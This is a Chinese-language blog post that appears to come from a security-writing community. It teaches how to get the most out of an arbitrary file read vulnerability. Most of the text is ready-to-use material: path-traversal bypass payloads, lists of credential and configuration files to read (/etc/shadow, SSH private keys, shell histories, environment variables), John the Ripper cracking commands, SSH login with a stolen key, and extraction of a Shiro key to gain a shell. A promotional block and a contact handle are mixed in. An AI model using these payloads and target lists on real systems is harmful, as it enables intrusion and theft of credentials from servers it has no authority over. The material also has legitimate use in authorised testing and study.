写点什么

漏洞挖掘之文件漏洞后利用姿势【网络安全】

  • 2022 年 7 月 11 日
  • 本文字数:2855 字

    阅读完需:约 9 分钟

前言

当我们遇到任意文件读取漏洞的时候,我们需要考虑如何通过这一个小点去扩大我们的成果,达到最大化利用的目的。在这里介绍一些在我们拿到任意文件读取点后的深入利用姿势,希望对大家能有所帮助。


常见读取的敏感文件路径


windows


C:\boot.ini //查看系统版本C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件C:\Windows\repair\sam //存储系统初次安装的密码C:\Program Files\mysql\my.ini //Mysql配置C:\Program Files\mysql\data\mysql\user.MYD //Mysql rootC:\Windows\php.ini //php配置信息C:\Windows\my.ini //Mysql配置信息......
复制代码


Linux


/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥/root/.ssh/known_hosts//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。/etc/passwd // 账户信息/etc/shadow // 账户密码文件/etc/my.cnf //mysql 配置文件/etc/httpd/conf/httpd.conf // Apache配置文件/etc/redhat-release 系统版本 /root/.bash_history //用户历史命令记录文件/root/.mysql_history //mysql历史命令记录文件/var/lib/mlocate/mlocate.db //全文件路径/proc/self/fd/fd[0-9]*(文件标识符)/proc/mounts //记录系统挂载设备/porc/config.gz //内核配置文件/porc/self/cmdline //当前进程的cmdline参数/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。/proc/net/fib_trie   内网IP/proc/self/environ   环境变量/proc/self/loginuid   当前用户......
复制代码

绕过思路

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥信息收集 80 条搜索语法

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析


可以进行 fuzz


url编码代替.或者/,如使用%2F代替/?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
二次编码(%25)?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
加入+?filename=.+./.+./bin/redacted.dll
%00?filename=.%00./file.php/etc/passwd%00.jpg
\?filename=..%5c..%5c/windows/win.ini
Java %c0%ae 安全模式绕过?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
复制代码


Linux 下的常见利用姿势用户目录下的敏感文件


.bash_history .zsh_history.psql_history.mysql_history.profile .bashrc.gitconfig.viminfo
任意文件读取/etc/passwd提取passwd第一列,即root等一系列用户名读history:../../root/.bash_history暴破所有用户的.bash_history:../../../home/§root§/.bash_history
复制代码


历史命令重点关注出现的密码、路径、配置文件路径、其他关联 IP、日志文件、war 包、备份文件路径等等,可进一步读取或利用。PS:如要下载文件,可能会导致过大文件下载失败,可以使用 wget 进行下载,比如 catanlina.out 日志文件、war 包、备份文件等等。主机凭证文件


私钥文件


/root/.ssh/id_rsa  私钥
/root/.ssh/authorized_keys 公钥存储文件/root/.ssh/id_rsa.keystore/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
复制代码


私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用 xshell 等软件选择证书登录。ssh -i id_rsa root@IP地址


系统密码


/etc/passwd
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologin......
复制代码


用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 Shell


可以看到哪些用户可以登录


/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::$id$salt$密文
复制代码


id 代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt 是加密的时候需要用到盐。最后就是密文。注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。格式 算法


$1  md5$2a  blowfish$2y  blowfish$5  sha-256$6  sha-512
复制代码


在线查询


https://www.cmd5.com/
john破解unshadow /etc/passwd /etc/shadow > test_passwdjohn --wordlist=字典路径 test_passw默认密码字典位于/usr/share/john/password.ls
复制代码


全路径


mlocate.db数据库里存储了本地所有文件的配置信息/var/lib/mlocate/mlocate.db利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息locate mlocate.db config把包含config的路径全输出出来locate mlocate.db webappslocate mlocate.db www
复制代码


获取到路径后可以进一步挖掘敏感信息和系统漏洞程序源代码


利用全路径或者其他地方获取到的路径读取一些关键的程序源码。读取 WEB-INF/web.xml,进一步读取 class 文件,反编译得到源码。读取 war 包,反编译获取源码。应用配置文件


获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。


java站点/WEB-INF/web.xml/WEB-INF/classes/applicationContext.xml/WEB-INF/classes/xxx/xxx/xxx.class
复制代码


core.jar 如果遇到 Shiro 站点,可以直接利用全路径找到 core.jar,去下载 core.jar,下载后反编译搜索 Base64.decode 直接找 key,进而 getshell。


tomcat/usr/local/tomcat/conf/tomcat-users.xml
nginx/www/nginx/conf/nginx.conf/etc/nginx/nginx.conf/usr/local/nginx/conf/nginx.conf/usr/local/etc/nginx/nginx.conf
apache/etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf
redis/etc/redis.conf
ssh/etc/ssh/sshd_config
复制代码


应用日志文件


利用日志文件获取网站后台地址、api 接口、备份、等等敏感信息。


tomcat可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径/webapps/ROOT/logs/catalina.out
apache/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log/etc/httpd/logs/access_log/etc/httpd/logs/error_log/etc/httpd/logs/error.log
nginx/var/log/nginx/access.log/var/log/nginx/error.log/usr/local/var/log/nginx/access.log/usr/local/nginx/logs
复制代码


Windows 下的利用姿势盲读取桌面文件


有些时候,管理员会图方便,在桌面存储一些敏感的文件,我们可以直接对桌面的一些文件名进行 fuzz,比如 1.txt、2.txt、密码.txt、pass.txt 等等,进一步扩大战果。

总结

在漏洞利用层面,除了去关注一键 RCE,我们也可以试着去思考一下其他类型漏洞的最大化利用。当一个微小的漏洞和神奇的思路碰撞在一起,往往也能产生意想不到的效果。发散你的思维,让漏洞发挥出最大的价值!

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
漏洞挖掘之文件漏洞后利用姿势【网络安全】_网络安全_网络安全学海_InfoQ写作社区